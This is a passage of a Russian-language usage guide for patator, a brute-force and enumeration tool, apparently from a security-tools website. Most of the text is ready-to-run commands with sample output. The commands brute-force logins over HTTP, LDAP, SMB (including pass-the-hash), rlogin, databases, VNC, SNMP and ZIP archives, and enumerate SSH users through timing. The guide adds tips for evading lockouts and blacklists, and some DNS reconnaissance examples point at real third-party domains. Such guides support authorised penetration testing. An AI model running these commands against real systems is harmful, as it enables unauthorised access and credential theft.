(a) Для начала запрашиваем страницу, которая предоставляет одноразовые значения в качестве скрытых полей ввода.
(b) Использовать регулярные выражения для извлечения одноразовых значений, которые должны быть отправлены вместе с главным запросом.
http_fuzz url=http://10.0.0.1/login method=POST body='user=admin&pass=FILE0&nonce1=_N1_&nonce2=_N2_' 0=passwords.txt accept_cookie=1 before_urls=http://10.0.0.1/index before_egrep='_N1_:<input type="hidden" name="nonce1" value="(\w+)"|_N2_:name="nonce2" value="(\w+)"' (a) (b)
Тестировать методом OPTIONS в отношении списка URL.
(a) Игнорировать URL которые разрешают только методы HEAD и GET.
(b) Окончание строки заголовка это '\r\n'.
(c) Использовать различные разделители строк, поскольку запятая не может быть экранирована.
http_fuzz url=FILE0 0=urls.txt method=OPTIONS -x ignore:egrep='^Allow: HEAD, GET\r$' -X '|' (a) (b) (c)
LDAP
Брут-форс аутентификации.
(a) Не сообщать о неверных паролях.
(b) Говорить SSL/TLS на порт 636.
ldap_login host=10.0.0.1 binddn='cn=FILE0,dc=example,dc=com' 0=logins.txt bindpw=FILE1 1=passwords.txt -x ignore:mesg='ldap_bind: Invalid credentials (49)' ssl=1 port=636 (a) (b)
SMB
Брут-форс аутентификации.
smb_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt -x ignore:fgrep=STATUS_LOGON_FAILURE
Запомните. Если вы случайно получили ошибки STATUS_ACCOUNT_LOCKED_OUT для аккаунта, хотя это не первый пароль, который вы тестируете на этом аккаунте, это означает, что вы его заблокировали.
Обход хешей (Pass-the-hash).
(a) Тестировать список хостов.
(b) Тестировать каждого пользователя (каждая строка хеша := login:rid:LM hash:NT).
smb_login host=FILE0 0=hosts.txt user=COMBO10 password_hash=COMBO12:COMBO13 1=pwdump.txt -x ... (a) (b)
rlogin
Брут-форс имён пользователей, которым рут разрешил логиниться без пароля (например файл ~/.rhostsсо строкой "+ root").
rlogin_login host=10.0.0.1 luser=root user=FILE0 0=logins.txt persistent=0 -x ignore:fgrep=Password:
Брут-форс имён пользователей, которым разрешено логиниться в качестве рута без пароля (например файл /root/.rhosts со строкой "+ john").
rlogin_login host=10.0.0.1 user=root luser=FILE0 0=logins.txt persistent=0 -x ignore:fgrep=Password:
MSSQL
Брут-форс аутентификации.
mssql_login host=10.0.0.1 user=sa password=FILE0 0=passwords.txt -x ignore:fgrep='Login failed for user'
Oracle
Будьте осторожны, по умолчанию в Oracle аккаунты перманентно блокируются после 10 неверных паролей, кроме аккаунтов сисадминов.
Брут-форс аутентификации.
oracle_login host=10.0.0.1 user=SYS password=FILE0 0=passwords.txt sid=ORCL -x ignore:code=ORA-01017
Примечание 0. С Oracle 10g XE (Express Edition), вам не нужно передавать SID.
Примечание 1. Если вы получаете ошибки ORA-12516, это может быть из-за того, что вы достигли лимита одновременных подключений или процессов базы данных, попробуйте использовать "--rate-limit 0.5 -t 2", чтобы быть повежливее. Также вы можете запустить "alter system set processes=150 scope=spfile;" и перезапустить вашу базу данных чтобы избавиться от этого.
Брут-форс SID.
oracle_login host=10.0.0.1 sid=FILE0 0=sids.txt -x ignore:code=ORA-12505
Примечание. Касательно Oracle9, она может вылетать (Segmentation fault) как только найден валидный SID (cx_Oracle bug). Иногда SID печатается перед вылетом, поэтому попробуйте запустить эту же команду снова, это не произошло.
MySQL
Брут-форс аутентификации.
mysql_login host=10.0.0.1 user=FILE0 password=FILE0 0=logins.txt -x ignore:fgrep='Access denied for user'
PostgresSQL
Брут-форс аутентификации.
pgsql_login host=10.0.0.1 user=postgres password=FILE0 0=passwords.txt -x ignore:fgrep='password authentication failed'
VNC
Некоторые VNC серверы имеют встроенную анти-брутфорсную функциональность, которая на время вносит в чёрный список IP адрес атакующего после слишком большого числа неверных паролей.
- RealVNC-4.1.3 или TightVNC-1.3.10 например, позволяет 5 неверных попыток, а после этого делают принудительную задержку в 10 секунд. Для каждой последующей неудачной попытки задержка удваивается.
- RealVNC-3.3.7 или UltraVNC позволяют 6 неверных попыток, а затем делают принудительную задержку в 10 секунд между каждой последующей попыткой.
Брут-форс аутентификации.
(a) Не нужно использовать более чем один поток.
(b) Сохраняем для портовой попытки тот же пароль, когда мы попали в чёрный список сервера.
(c) Прекращение выполнения, как только найден валидный пароль.
vnc_login host=10.0.0.1 password=FILE0 0=passwords.txt --threads 1 -x retry:fgrep!='Authentication failure' --max-retries -1 -x quit:code=0 (b) (b) (c)
DNS
Брут-форс поддоменов.
(a) Игнорировать ответы NXDOMAIN (rcode 3).
dns_forward name=FILE0.google.com 0=names.txt -x ignore:code=3 (a)
Брутфорсить домены со всеми возможными TLD.
dns_forward name=google.MOD0 0=TLD -x ignore:code=3
Брут-форсить записи SRV.
dns_forward name=MOD0.microsoft.com 0=SRV qtype=SRV -x ignore:code=3
Собирать версию нескольких хостов.
dns_forward server=FILE0 0=hosts.txt name=version.bind qtype=txt qclass=ch
Обратный поиск нескольких сетей.
(a) Игнорировать имена не содержащих 'google.com'.
(b) Игнорировать общие записи PTR.
dns_reverse host=NET0 0=216.239.32.0-216.239.47.255,8.8.8.0/24 -x ignore:code=3 -x ignore:fgrep!=google.com -x ignore:fgrep=216-239- (a) (b)
SNMP
SNMPv1/2 : Поиск валидных общих имён.
snmp_login host=10.0.0.1 community=FILE0 0=names.txt -x ignore:mesg='No SNMP response received before timeout'
SNMPv3 : Поиск валидных имён пользователей.
snmp_login host=10.0.0.1 version=3 user=FILE0 0=logins.txt -x ignore:mesg=unknownUserName
SNMPv3 : Поиск валидных паролей.
snmp_login host=10.0.0.1 version=3 user=myuser auth_key=FILE0 0=passwords.txt -x ignore:mesg=wrongDigest
Примечание 0. Если вы получаете сообщения ошибки "notInTimeWindow", увеличьте параметры попытки.
Примечание 1. SNMPv3 требует парольную фразу длинной как минимум 8 символов.
Unzip
Брут-форс паролей файлов ZIP (взлом использования старого шифрования pkzip не поддерживается в JtR).
unzip_pass zipfile=path/to/file.zip password=FILE0 0=passwords.txt -x ignore:code!=0
Руководство по patator
Страница man отсутствует.
Примеры запуска patator
FTP : Перечисление пользователей отклонённых, залогинившихся в vsftpd (с применением списка пользователей)
ftp_login host=10.0.0.1 user=FILE0 0=logins.txt password=asdf -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500 19:36:06 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-02-08 19:36 AEDT 19:36:06 patator INFO - 19:36:06 patator INFO - code size time | candidate | num | mesg 19:36:06 patator INFO - ----------------------------------------------------------------------------- 19:36:07 patator INFO - 230 17 0.002 | anonymous | 7 | Login successful. 19:36:07 patator INFO - 230 17 0.001 | ftp | 10 | Login successful. 19:36:08 patator INFO - 530 18 1.000 | root | 1 | Permission denied. 19:36:17 patator INFO - 530 18 1.000 | michael | 50 | Permission denied. 19:36:36 patator INFO - 530 18 1.000 | robert | 93 | Permission denied. ...
Тестировано в отношении vsftpd-3.0.2-9 на CentOS 7.0-1406
SSH : Перечисление пользователей основываясь на времени
ssh_login host=10.0.0.1 user=FILE0 0=logins.txt password=$(perl -e "print 'A'x50000") --max-retries 0 --timeout 10 -x ignore:time=0-3 17:45:20 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-02-08 17:45 AEDT 17:45:20 patator INFO - 17:45:20 patator INFO - code size time | candidate | num | mesg 17:45:20 patator INFO - ----------------------------------------------------------------------------- 17:45:30 patator FAIL - xxx 41 10.001 | root | 1 | <class '__main__.TimeoutError'> timed out 17:45:34 patator FAIL - xxx 41 10.000 | john | 23 | <class '__main__.TimeoutError'> timed out 17:45:37 patator FAIL - xxx 41 10.000 | joe | 40 | <class '__main__.TimeoutError'> timed out ...
Тестировалось в отношении openssh-server 1:6.0p1-4+deb7u2 на Debian 7.8
HTTP : Брут-форс входа в phpMyAdmin
http_fuzz url=http://10.0.0.1/pma/index.php method=POST body='pma_username=COMBO00&pma_password=COMBO01&server=1&target=index.php&lang=en&token=' 0=combos.txt before_urls=http://10.0.0.1/pma/index.php accept_cookie=1 follow=1 -x ignore:fgrep='Cannot log in to the MySQL server' -l /tmp/qsdf 11:53:47 patator INFO - Starting Patator v0.7-beta (http://code.google.com/p/patator/) at 2014-08-31 11:53 EST 11:53:47 patator INFO - 11:53:47 patator INFO - code size:clen time | candidate | num | mesg 11:53:47 patator INFO - ----------------------------------------------------------------------------- 11:53:48 patator INFO - 200 49585:0 0.150 | root:p@ssw0rd | 26 | HTTP/1.1 200 OK 11:53:51 patator INFO - 200 13215:0 0.351 | root: | 72 | HTTP/1.1 200 OK ^C 11:53:54 patator INFO - Hits/Done/Skip/Fail/Size: 2/198/0/0/3000, Avg: 29 r/s, Time: 0h 0m 6s 11:53:54 patator INFO - To resume execution, pass --resume 15,15,15,16,15,36,15,16,15,40
Запрос #72 был ложным срабатыванием из-за неожиданного сообщения ошибки:
grep AllowNoPassword /tmp/qsdf/72_200\:13215\:0\:0.351.txt ... class="icon ic_s_error" /> Login without a password is forbidden by configuration (see AllowNoPassword)</div><noscript>
Тестировалось в отношении 4.2.7.1.
IKE : Перечисление поддерживаемых преобразований пиром VPN
ike_enum host=10.0.0.1 transform=MOD0 0=TRANS aggressive=RANGE1 1=int:0-1 -x ignore:fgrep='NO-PROPOSAL' 16:52:58 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-04-05 16:52 AEST 16:52:58 patator INFO - 16:52:58 patator INFO - code size time | candidate | num | mesg 16:52:58 patator INFO - ----------------------------------------------------------------------------- 16:53:03 patator INFO - 0 70 0.034 | 5,1,1,2:0 | 1539 | Handshake returned: Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK (Main) 16:53:03 patator INFO - 0 72 0.031 | 5,1,65001,2:0 | 1579 | Handshake returned: Enc=3DES Hash=MD5 Group=2:modp1024 Auth=XAUTH (Main) 16:53:03 patator INFO - 0 76 0.033 | 5,1,1,2:1 | 1540 | Handshake returned: Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK (Aggressive) 16:53:03 patator INFO - 0 78 0.034 | 5,1,65001,2:1 | 1580 | Handshake returned: Enc=3DES Hash=MD5 Group=2:modp1024 Auth=XAUTH (Aggressive) 16:53:06 patator INFO - 0 84 0.034 | 7/128,2,1,2:0 | 2371 | Handshake returned: Enc=AES KeyLength=128 Hash=SHA1 Group=2:modp1024 Auth=PSK (Main) 16:53:06 patator INFO - 0 90 0.033 | 7/128,2,1,2:1 | 2372 | Handshake returned: Enc=AES KeyLength=128 Hash=SHA1 Group=2:modp1024 Auth=PSK (Aggressive) 16:53:06 patator INFO - 0 86 0.034 | 7/128,2,65001,2:0 | 2411 | Handshake returned: Enc=AES KeyLength=128 Hash=SHA1 Group=2:modp1024 Auth=XAUTH (Main) 16:53:06 patator INFO - 0 92 0.035 | 7/128,2,65001,2:1 | 2412 | Handshake returned: Enc=AES KeyLength=128 Hash=SHA1 Group=2:modp1024 Auth=XAUTH (Aggressive) + 10.0.0.1:500 (Main Mode) Encryption Hash Auth Group ---------- ---------- ---------- ---------- 3DES MD5 PSK modp1024 3DES MD5 XAUTH modp1024 AES128 SHA1 PSK modp1024 AES128 SHA1 XAUTH modp1024 + 10.0.0.1:500 (Aggressive Mode) Encryption Hash Auth Group ---------- ---------- ---------- ---------- 3DES MD5 PSK modp1024 3DES MD5 XAUTH modp1024 AES128 SHA1 PSK modp1024 AES128 SHA1 XAUTH modp1024 16:53:11 patator INFO - Hits/Done/Skip/Fail/Size: 8/3840/0/0/3840, Avg: 284 r/s, Time: 0h 0m 13s
SNMPv3 : Поиск валидных имён пользователей
snmp_login host=10.0.0.1 version=3 user=FILE0 0=logins.txt -x ignore:mesg=unknownUserName 17:51:06 patator INFO - Starting Patator v0.5 17:51:06 patator INFO - 17:51:06 patator INFO - code size | candidate | num | mesg 17:51:06 patator INFO - ---------------------------------------------------------------------- 17:51:11 patator INFO - 0-0 11 | robert | 55 | wrongDigest 17:51:12 patator INFO - Progress: 20% (70/345) | Speed: 10 r/s | ETC: 17:51:38 (00:00:26 remaining) 17:51:33 patator INFO - 0-0 11 | myuser | 311 | wrongDigest 17:51:36 patator INFO - Hits/Done/Skip/Fail/Size: 2/345/0/0/345, Avg: 11 r/s, Time: 0h 0m 30s
SNMPv3 : Поиск валидных паролей
snmp_login host=10.0.0.1 version=3 user=robert auth_key=FILE0 0=passwords_8+.txt -x ignore:mesg=wrongDigest 17:52:15 patator INFO - Starting Patator v0.5 17:52:15 patator INFO - 17:52:15 patator INFO - code size | candidate | num | mesg 17:52:15 patator INFO - ---------------------------------------------------------------------- 17:52:16 patator INFO - 0-0 69 | password123 | 16 | Linux thug 2.6.36-gentoo #5 SMP Fri Aug 12 14:49:51 CEST 2011 i686 17:52:17 patator INFO - Hits/Done/Skip/Fail/Size: 1/50/0/0/50, Avg: 38 r/s, Time: 0h 0m 1s
DNS : Прямой поиск
dns_forward name=FILE0.hsc.fr 0=names.txt -x ignore:code=3 03:18:46 patator INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2012-06-29 03:18 PMT 03:18:46 patator INFO - 03:18:46 patator INFO - code size | candidate | num | mesg 03:18:46 patator INFO - ---------------------------------------------------------------------- 03:18:46 patator INFO - 0 41 | www | 4 | NOERROR [www.hsc.fr. IN A 217.174.211.25] 03:18:46 patator INFO - 0 81 | mail | 32 | NOERROR [mail.hsc.fr. IN CNAME itesec.hsc.fr.][itesec.hsc.fr. IN A 192.70.106.33] 03:18:46 patator INFO - 0 44 | webmail | 62 | NOERROR [webmail.hsc.fr. IN A 192.70.106.95] 03:18:46 patator INFO - 0 93 | test | 54 | NOERROR [hsc.fr. IN SOA itesec.hsc.fr. hostmaster.hsc.fr. 2012012301 21600 3600 1209600 3600] 03:18:46 patator INFO - 0 40 | wap | 66 | NOERROR [wap.hsc.fr. IN A 192.70.106.33] 03:18:46 patator INFO - 0 85 | extranet | 131 | NOERROR [extranet.hsc.fr. IN CNAME itesec.hsc.fr.][itesec.hsc.fr. IN A 192.70.106.33] 03:18:46 patator INFO - 0 81 | news | 114 | NOERROR [news.hsc.fr. IN CNAME itesec.hsc.fr.][itesec.hsc.fr. IN A 192.70.106.33] 03:18:46 patator INFO - 0 93 | mailhost | 137 | NOERROR [mailhost.hsc.fr. IN A 192.70.106.33][mailhost.hsc.fr. IN AAAA 2001:7a8:1155:2::abcd] 03:18:46 patator INFO - 0 47 | lists | 338 | NOERROR [lists.hsc.fr. IN MX 10 itesec.hsc.fr.] 03:18:46 patator INFO - 0 93 | fr | 319 | NOERROR [hsc.fr. IN SOA itesec.hsc.fr. hostmaster.hsc.fr. 2012012301 21600 3600 1209600 3600] 03:18:47 patator INFO - 0 40 | gl | 586 | NOERROR [gl.hsc.fr. IN A 192.70.106.103] Records ------------------------------------------ extranet.hsc.fr. IN CNAME itesec.hsc.fr. gl.hsc.fr. IN A 192.70.106.103 hsc.fr. IN SOA itesec.hsc.fr. hostmaster.hsc.fr. 2012012301 21600 3600 1209600 3600 itesec.hsc.fr. IN A 192.70.106.33 lists.hsc.fr. IN MX 10 itesec.hsc.fr. mail.hsc.fr. IN CNAME itesec.hsc.fr. mailhost.hsc.fr. IN A 192.70.106.33 mailhost.hsc.fr. IN AAAA 2001:7a8:1155:2::abcd news.hsc.fr. IN CNAME itesec.hsc.fr. wap.hsc.fr. IN A 192.70.106.33 webmail.hsc.fr. IN A 192.70.106.95 www.hsc.fr. IN A 217.174.211.25 Hostmap ------------------------------------------ mailhost.hsc.fr 2001:7a8:1155:2::abcd mailhost.hsc.fr 192.70.106.33 wap.hsc.fr 192.70.106.33 itesec.hsc.fr 192.70.106.33 extranet.hsc.fr mail.hsc.fr news.hsc.fr webmail.hsc.fr 192.70.106.95 gl.hsc.fr 192.70.106.103 www.hsc.fr 217.174.211.25 Domains ------------------------------------------ hsc.fr 10 Networks ----------------------------------------- 2001:7a8:1155:2::abcd 192.70.106.x 217.174.211.25 03:18:53 patator INFO - Hits/Done/Skip/Fail/Size: 11/1000/0/0/1000, Avg: 133 r/s, Time: 0h 0m 7s
Также обратите внимание, что test.hsc.fr. - это начало новой зоны, поскольку мы получили NOERROR и отсутствие адреса IP.
DNS : Обратный поиск двух netblocks во владении Google
dns_reverse host=NET0 0=216.239.32.0-216.239.47.255,8.8.8.0/24 -x ignore:code=3 -x ignore:fgrep!=google.com -x ignore:fgrep=216-239- 03:24:22 patator INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2012-06-29 03:24 PMT 03:24:22 patator INFO - 03:24:22 patator INFO - code size | candidate | num | mesg 03:24:22 patator INFO - ---------------------------------------------------------------------- 03:24:22 patator INFO - 0 46 | 216.239.32.10 | 11 | NOERROR [216.239.32.10 IN PTR ns1.google.com.] 03:24:22 patator INFO - 0 45 | 216.239.32.11 | 12 | NOERROR [216.239.32.11 IN PTR ns.google.com.] 03:24:22 patator INFO - 0 48 | 216.239.32.15 | 16 | NOERROR [216.239.32.15 IN PTR time1.google.com.] 03:24:23 patator INFO - 0 47 | 216.239.33.5 | 262 | NOERROR [216.239.33.5 IN PTR proxy.google.com.] 03:24:23 patator INFO - 0 47 | 216.239.33.12 | 269 | NOERROR [216.239.33.12 IN PTR dns1.google.com.] 03:24:23 patator INFO - 0 51 | 216.239.33.22 | 279 | NOERROR [216.239.33.22 IN PTR transfer.google.com.] 03:24:23 patator INFO - 0 50 | 216.239.33.20 | 277 | NOERROR [216.239.33.20 IN PTR esc-out.google.com.] 03:24:23 patator INFO - 0 46 | 216.239.34.10 | 523 | NOERROR [216.239.34.10 IN PTR ns2.google.com.] 03:24:23 patator INFO - 0 48 | 216.239.34.15 | 528 | NOERROR [216.239.34.15 IN PTR time2.google.com.] ^C Records ------------------------------------------ 216.239.32.10 IN PTR ns1.google.com. 216.239.32.11 IN PTR ns.google.com. 216.239.32.15 IN PTR time1.google.com. 216.239.33.12 IN PTR dns1.google.com. 216.239.33.20 IN PTR esc-out.google.com. 216.239.33.22 IN PTR transfer.google.com. 216.239.33.5 IN PTR proxy.google.com. 216.239.34.10 IN PTR ns2.google.com. 216.239.34.15 IN PTR time2.google.com. Hostmap ------------------------------------------ ns1.google.com 216.239.32.10 ns.google.com 216.239.32.11 time1.google.com 216.239.32.15 proxy.google.com 216.239.33.5 dns1.google.com 216.239.33.12 esc-out.google.com 216.239.33.20 transfer.google.com 216.239.33.22 ns2.google.com 216.239.34.10 time2.google.com 216.239.34.15 Domains ------------------------------------------ google.com 9 Networks ----------------------------------------- 216.239.32.x 216.239.33.x 216.239.34.x 03:24:29 patator INFO - Hits/Done/Skip/Fail/Size: 9/872/0/0/4352, Avg: 115 r/s, Time: 0h 0m 7s 03:24:29 patator INFO - To resume execution, pass --resume 91,75,93,73,84,95,94,95,83,89
ZIP : Взлом защещённого паролем файла ZIP file (использование старого шифрования pkzip не поддерживается в JtR)
unzip_pass zipfile=challenge1.zip password=FILE0 0=rockyou.dic -x ignore:code!=0 10:54:29 patator INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2012-06-29 10:54:29 PMT 10:54:29 patator INFO - 10:54:29 patator INFO - code size | candidate | num | mesg 10:54:29 patator INFO - ---------------------------------------------------------------------- 10:54:30 patator INFO - 0 82 | love | 387 | 0 [82] No errors detected in compressed data of challenge1.zip. ^C 10:54:31 patator INFO - Hits/Done/Skip/Fail/Size: 1/1589/0/0/5000, Avg: 699 r/s, Time: 0h 0m 2s 10:54:31 patator INFO - To resume execution, pass --resume 166,164,165,166,155,158,148,158,155,154
Установка patator
Программа предустановлена в Kali Linux.
Установка patator в Linux
Зависимости (лучшие протестированные версии)
| Требуется для | URL | Версия | -------------------------------------------------------------------------------------------------- paramiko | SSH | http://www.lag.net/paramiko/ | 1.7.7.1 | -------------------------------------------------------------------------------------------------- pycurl | HTTP | http://pycurl.sourceforge.net/ | 7.19.3 | -------------------------------------------------------------------------------------------------- libcurl | HTTP | https://curl.haxx.se/ | 7.21.0 | -------------------------------------------------------------------------------------------------- ajpy | AJP | https://github.com/hypn0s/AJPy/ | 0.0.1 | -------------------------------------------------------------------------------------------------- openldap | LDAP | http://www.openldap.org/ | 2.4.24 | -------------------------------------------------------------------------------------------------- impacket | SMB | https://github.com/CoreSecurity/impacket | 0.9.12 | -------------------------------------------------------------------------------------------------- cx_Oracle | Oracle | http://cx-oracle.sourceforge.net/ | 5.1.1 | -------------------------------------------------------------------------------------------------- mysql-python | MySQL | http://sourceforge.net/projects/mysql-python/ | 1.2.3 | -------------------------------------------------------------------------------------------------- xfreerdp | RDP (NLA) | https://github.com/FreeRDP/FreeRDP/ | 1.2.0 | -------------------------------------------------------------------------------------------------- psycopg | PostgreSQL | http://initd.org/psycopg/ | 2.4.5 | -------------------------------------------------------------------------------------------------- pycrypto | VNC | http://www.dlitz.net/software/pycrypto/ | 2.3 | -------------------------------------------------------------------------------------------------- dnspython | DNS | http://www.dnspython.org/ | 1.10.0 | -------------------------------------------------------------------------------------------------- IPy | NET keyword | https://github.com/haypo/python-ipy | 0.75 | -------------------------------------------------------------------------------------------------- pysnmp | SNMP | http://pysnmp.sourceforge.net/ | 4.2.1 | -------------------------------------------------------------------------------------------------- pyasn1 | SNMP | http://sourceforge.net/projects/pyasn1/ | 0.1.2 | -------------------------------------------------------------------------------------------------- ike-scan | IKE | http://www.nta-monitor.com/tools-resources/ | 1.9 | -------------------------------------------------------------------------------------------------- unzip | ZIP пароли | http://www.info-zip.org/ | 6.0 | -------------------------------------------------------------------------------------------------- Java | keystore файлы | http://www.oracle.com/technetwork/java/javase/ | 6 | -------------------------------------------------------------------------------------------------- pysqlcipher | SQLCipher | https://github.com/leapcode/pysqlcipher/ | 2.6.10 | -------------------------------------------------------------------------------------------------- python | | http://www.python.org/ | 2.7 | --------------------------------------------------------------------------------------------------
Загружаем саму программу
wget https://raw.githubusercontent.com/lanjelot/patator/master/patator.py chmod +x patator.py ./patator.py
Быстрый вызов (опционально)
ln -s путь/до/patator.py /usr/bin/ftp_login ln -s путь/до/patator.py /usr/bin/http_fuzz
и так далее …
Установка patator в Windows (PyInstaller)
Собираем комплект на Windows 5.2.3790 x86
Установите python-2.7.9.msi из Python.
Установите pywin32-219.win32-py2.7.exe из PyWin32.
Установите vcredist_x86.exe из Microsoft.
Установите Git-1.9.5.exe из Git (и выберите "Use Git from Windows Command Prompt" во время установки).
Добавьте c:\Python27;c:\Python27\Scripts в ваш PATH.
pip install pycrypto pyopenssl pip install impacket pip install paramiko pip install IPy pip install dnspython pip install pysnmp cd c:\ git clone https://github.com/lanjelot/patator git clone https://github.com/pyinstaller/pyinstaller cd pyinstaller git checkout a2b0617251ebe70412f6e3573f00a49ce08b7b32 # fixes this issue: https://groups.google.com/forum/#!topic/pyinstaller/6xD75_w4F-c python pyinstaller.py --clean --onefile c:\patator\patator.py patator\dist\patator.exe -h
Было подтверждено, что автономный исполнимый patator.exe успешно запускается на Windows 2003 (5.2.3790), Windows 7 (6.1.7600), Windows 2008 R2 SP1 (6.1.7601) и Windows 2012 R2 (6.3.9600) и весьма вероятно хорошо работает на любых других версиях Windows.
Скриншоты patator
Инструкции по patator
- Брут-форс веб-сайтов: инструкция по использованию patator, Hydra, Medusa
- Получение имён пользователей сайта методом перебора
- Поиск админок (панелей управления) на сайтах
- Брут-форс формы входа роутеров
- Установка всех зависимостей Patator
- Брут-форс учётных данных пользователей общих папок SMB
- Аудит безопасности VNC
- Атаки на HTTP Basic и Digest аутентификацию
Comments are Closed